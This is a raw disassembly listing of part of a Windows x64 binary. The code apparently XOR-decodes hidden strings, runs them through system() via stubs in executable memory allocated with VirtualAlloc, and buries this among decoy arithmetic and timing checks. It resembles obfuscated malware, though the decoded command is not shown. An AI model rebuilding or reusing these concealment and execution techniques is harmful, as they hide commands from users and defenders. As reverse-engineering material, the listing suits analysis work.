lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x28c]
cmp eax, ebx
jae 0x14000851d
add eax, ebx
jmp 0x140008522
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x470]
cmp eax, 0xffffffff
jne 0x14000853a
call fcn.1400198a0
mov ecx, eax
jmp 0x14000857a
lea edi, [rax + 1]
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140008576
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140008576
nop dword [rax]
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140008560
shr rcx, 0x20
add ecx, r14d
lea eax, [rcx + rbx]
lea edx, [rcx - 0x80000000]
cmp ecx, ebx
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
jmp 0x140008601
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x1400085b0
movsd xmm0, qword [rsp + 0x48]
divsd xmm1, xmm2
mulsd xmm1, xmm13
subsd xmm1, xmm14
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x48], xmm0
inc r15d
cmp r15d, 5
jl 0x140008400
sub r12, 1
jne 0x1400083f0
mov rbx, qword [rsp + 0x50]
mov rcx, qword [rbp + 0x2c8]
test rcx, rcx
je 0x14000867b
mov rax, qword [rbp + 0x2d8]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008660
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400086dd
call fcn.1400219c0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2c8], xmm0
xor esi, esi
mov qword [rbp + 0x2d8], rsi
jmp 0x14000867d
xor esi, esi
mov rdx, qword [rbp + 0x390]
cmp rdx, 0x10
jb 0x1400086ba
inc rdx
mov rcx, qword [rbp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400086b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400086e4
call fcn.1400219c0
inc r13d
cmp r13d, 0x186a0
movsd xmm7, qword [0x140025450]
mov r14d, 0x80000000
jl 0x140007b80
jmp 0x140007b25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x40]
mov rbx, qword [rbp + 0x290]
test rbx, rbx
je 0x14000878e
mov rdi, qword [rbp + 0x298]
cmp rbx, rdi
je 0x140008731
mov r15d, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x140008721
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x140008711
mov rbx, qword [rbp + 0x290]
mov rax, qword [rbp + 0x2a0]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000876f
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000876f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400219c0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x290], xmm0
xor r14d, r14d
mov qword [rbp + 0x2a0], r14
jmp 0x140008791
xor r14d, r14d
mov dword [rsp + 0x70], 0xfa
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e8], xmm0
lea rdi, [rbp + 0x3ff8]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x3f0], r15
mov qword [rbp + 0x3f8], rdi
mov rbx, qword [rdi]
xor rbx, r15
mov qword [rbp + 0x3e8], rbx
mov qword [rdi], r14
mov ecx, r14d
lea rsi, [0x140017c50]
mov rax, qword [0x14002e440]
lea r12, [0x140000000]
test rax, rax
je 0x140008819
nop
cmp rax, rsi
je 0x140008806
inc ecx
mov rax, qword [r12 + rcx*8 + 0x2e440]
test rax, rax
jne 0x1400087f0
jmp 0x140008819
mov eax, ecx
mov r8, qword [r12 + rax*8 + 0x2f750]
test r8, r8
jne 0x140008901
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x140008846
mov r8, r14
jmp 0x1400088de
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140008850
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002ea90]
mov qword [r12 + rax*8 + 0x2e440], rsi
mov qword [r12 + rax*8 + 0x2f750], r8
inc rax
mov qword [0x14002ea90], rax
jmp 0x140008907
mov r13d, 3
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor rbx, r15
mov qword [rbp + 0x3e8], rbx
mov qword [rdi], rbx
movups xmm0, xmmword [str.bbk_hll_55t7______7_9__7:____]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [0x1400251f0]
movups xmmword [rbp + 0x210], xmm1
movups xmm0, xmmword [0x140025200]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [0x140025210]
movups xmmword [rbp + 0x230], xmm1
movups xmm0, xmmword [0x140025220]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [0x140025230]
movups xmmword [rbp + 0x250], xmm1
movups xmm0, xmmword [str.eaqrm]
movups xmmword [rbp + 0x260], xmm0
movsd xmm0, qword [0x140025250]
movsd qword [rbp + 0x270], xmm0
movzx eax, byte [0x140025258]
mov byte [rbp + 0x278], al
mov r9d, r14d
mov r12d, dword [0x14002c018]
mov r11d, 0x1f
cmp r12d, 2
jl 0x140008be5
movdqa xmm12, xmmword [0x1400253f0]
movdqa xmm6, xmmword [0x140025460]
mov r8d, 6
movd xmm13, r8d
movdqa xmm7, xmmword [0x140025470]
mov r10d, 4
movd xmm14, r10d
movdqa xmm15, xmmword [0x140025410]
movd xmm11, r11d
movdqa xmm0, xmmword [str.________________]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x200]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x140008a20
cmp r9d, 0x79
jge 0x140008c5e
movsxd rax, r9d
lea r10, [rbp + 0x200]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x140008c00
mov r8d, 6
lea r10d, [r8 - 2]
movups xmm0, xmmword [str.2f_._nr]
movups xmmword [rbp + 0x90], xmm0
mov eax, dword [0x140024b58]
movups xmm0, xmmword [0x140024b20]
mov dword [rbp + 0xe8], eax
movups xmmword [rbp + 0xb0], xmm0
movzx eax, word [0x140024b5c]
movups xmm0, xmmword [0x140024b40]
movups xmm1, xmmword [0x140024b10]
mov word [rbp + 0xec], ax
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xa0], xmm1
movzx eax, byte [0x140024b5e]
movsd xmm0, qword [0x140024b50]
movups xmm1, xmmword [0x140024b30]
mov byte [rbp + 0xee], al
movsd qword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xc0], xmm1
mov r9d, r14d
cmp r12d, 2
jl 0x140008f05
movdqa xmm12, xmmword [0x1400253f0]
movdqa xmm6, xmmword [0x140025460]
movd xmm13, r8d
movdqa xmm7, xmmword [0x140025470]
movd xmm14, r10d
movdqa xmm15, xmmword [0x140025410]
movd xmm11, r11d
movdqa xmm0, xmmword [str.________________]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x90]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x58
jl 0x140008d40
cmp r9d, 0x5f
jge 0x140008f74
movsxd rax, r9d
lea r10, [rbp + 0x90]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x5f
jl 0x140008f20
lea rax, [rbp + 0x90]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140008f82
mov rsi, qword [rsp + 0x68]
mov rdx, qword [rsi + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x14000b153
cmp qword [rsi + 0x18], 0x10
jb 0x140008fb4
mov rsi, qword [rsi]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x90]
lea rcx, [rbp + 0xf0]
call fcn.140019040
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0xf0]
call fcn.140016580
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rax, qword [rbp - 0x20]
mov qword [rbp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x400], xmm0
lea rsi, [rbp + 0x3ff8]
mov qword [rbp + 0x408], r15
mov qword [rbp + 0x410], rsi
mov rbx, qword [rsi]
xor rbx, r15
mov qword [rbp + 0x400], rbx
mov qword [rsi], r14
mov ecx, r14d
lea rdi, [0x140017c20]
mov rax, qword [0x1400300b0]
lea r12, [0x140000000]
test rax, rax
je 0x14000909e
cmp rax, rdi
je 0x14000908b
inc ecx
mov rax, qword [r12 + rcx*8 + 0x300b0]
test rax, rax
jne 0x140009075
jmp 0x14000909e
mov eax, ecx
mov r8, qword [r12 + rax*8 + 0x2f410]
test r8, r8
jne 0x14000917f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400090c5
mov r8, r14
jmp 0x14000915e
mov rax, rdi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400090d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002d140]
mov qword [r12 + rax*8 + 0x300b0], rdi
mov qword [r12 + rax*8 + 0x2f410], r8
inc rax
mov qword [0x14002d140], rax
lea rdx, [rbp + 0x38]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
xor rbx, r15
mov qword [rbp + 0x400], rbx
mov qword [rsi], rbx
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400091d9
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400091d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400091d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400219c0
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x14000922d
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009228
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009228
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400219c0
mov qword [rbp + 0x100], r14
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x2b84], 0xffffffff
mov dword [rbp + 0x1804], eax
mov esi, 1
mov edx, esi
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x1804], eax
inc rdx
cmp rdx, 0x270
jb 0x140009270
mov dword [rbp + 0x1800], 0x270
mov dword [rbp + 0x280], 0xffffff9c
mov dword [rbp + 0x284], 0x64
movaps xmm13, xmmword [0x140025440]
movups xmmword [rbp + 0x460], xmm13
mov dword [rsp + 0x40], r14d
movsd qword [rsp + 0x48], xmm8
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400092ea
imul rax, rax, 0x64
jmp 0x140009305
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rbx, [rax + 0x5f5e100]
mov qword [rsp + 0x50], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + reloc.SHELL32.dll_IsUserAnAdmin], xmm1
mov qword [rbp + 0x2b8], r14
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1b0], r14
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp + 0x2b0]
cmp rdx, qword [rbp + 0x2b8]
je 0x140009366
mov rcx, r14
mov qword [rbp - 0x50], rcx
mov qword [rdx], rax
add qword [rbp + 0x2b0], 8
jmp 0x14000937a
lea r8, [rbp - 0x50]
lea rcx, [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
call fcn.1400195e0
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140009387
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1b8], r14
mov qword [rbp - 0x48], rax
mov rdx, qword [rbp + 0x2b0]
cmp rdx, qword [rbp + 0x2b8]
je 0x1400093ca
mov rcx, r14
mov qword [rbp - 0x48], rcx
mov qword [rdx], rax
add qword [rbp + 0x2b0], 8
jmp 0x1400093de
lea r8, [rbp - 0x48]
lea rcx, [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
call fcn.1400195e0
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400093eb
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1c0], r14
mov qword [rbp - 0x40], rax
mov rdx, qword [rbp + 0x2b0]
cmp rdx, qword [rbp + 0x2b8]
je 0x14000942e
mov rcx, r14
mov qword [rbp - 0x40], rcx
mov qword [rdx], rax
add qword [rbp + 0x2b0], 8
jmp 0x140009442
lea r8, [rbp - 0x40]
lea rcx, [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
call fcn.1400195e0
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14000944f
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1c8], r14
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp + 0x2b0]
cmp rdx, qword [rbp + 0x2b8]
je 0x140009492
mov rcx, r14
mov qword [rbp - 0x38], rcx
mov qword [rdx], rax
add qword [rbp + 0x2b0], 8
jmp 0x1400094a6
lea r8, [rbp - 0x38]
lea rcx, [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
call fcn.1400195e0
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x1400094b3
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1d0], r14
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp + 0x2b0]
cmp rdx, qword [rbp + 0x2b8]
je 0x1400094f6
mov rcx, r14
mov qword [rbp - 0x30], rcx
mov qword [rdx], rax
add qword [rbp + 0x2b0], 8
jmp 0x14000950a
lea r8, [rbp - 0x30]
lea rcx, [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
call fcn.1400195e0
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x140009517
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1d8], r14
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp + 0x2b0]
cmp rdx, qword [rbp + 0x2b8]
je 0x14000955a
mov rcx, r14
mov qword [rbp - 0x28], rcx
mov qword [rdx], rax
add qword [rbp + 0x2b0], 8
jmp 0x14000956e
lea r8, [rbp - 0x28]
lea rcx, [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
call fcn.1400195e0
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x14000957b
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
movaps xmm15, xmm13
unpckhpd xmm15, xmm13
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x1400095a2
imul rax, rax, 0x64
jmp 0x1400095bd
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14000a16e
mov r13d, r14d
nop dword [rax]
mov esi, dword [rbp + 0x280]
mov r14d, 0x80000000
cmp esi, r14d
lea ecx, [rsi + r14]
jb 0x1400095eb
lea ecx, [rsi - 0x80000000]
mov edi, dword [rbp + 0x284]
cmp edi, r14d
lea eax, [rdi + r14]
jb 0x140009600
lea eax, [rdi - 0x80000000]
sub eax, ecx
lea rcx, [rbp + 0x1800]
cmp eax, 0xffffffff
jne 0x140009615
call fcn.1400198a0
jmp 0x14000965d
lea r14d, [rax + 1]
call fcn.1400198a0
mov r15d, r14d
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jae 0x140009657
mov eax, r14d
neg eax
xor edx, edx
div r14d
mov r14d, edx
cmp ecx, edx
jae 0x140009657
nop dword [rax]
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jb 0x140009640
mov r14d, 0x80000000
cmp esi, r14d
lea r12d, [rsi + r14]
jb 0x14000966d
lea r12d, [rsi - 0x80000000]
cmp edi, r14d
lea eax, [rdi + r14]
jb 0x14000967c
lea eax, [rdi - 0x80000000]
sub eax, r12d
lea rcx, [rbp + 0x1800]
cmp eax, 0xffffffff
jne 0x140009694
call fcn.1400198a0
mov ecx, eax
jmp 0x1400096e1
lea r14d, [rax + 1]
call fcn.1400198a0
mov r15d, r14d
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jae 0x1400096d7
mov eax, r14d
neg eax
xor edx, edx
div r14d
mov r14d, edx
cmp ecx, edx
jae 0x1400096d7
nop dword [rax]
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jb 0x1400096c0
shr rcx, 0x20
mov r14d, 0x80000000
lea edx, [rcx + r12]
mov r8, qword [rbp + 0x2b0]
mov r9, qword [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
sub r8, r9
sar r8, 3
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov r15, qword [r9 + rax*8]
mov rax, qword [r15]
mov r12, qword [rax + 8]
cmp esi, r14d
jae 0x14000972a
add r14d, esi
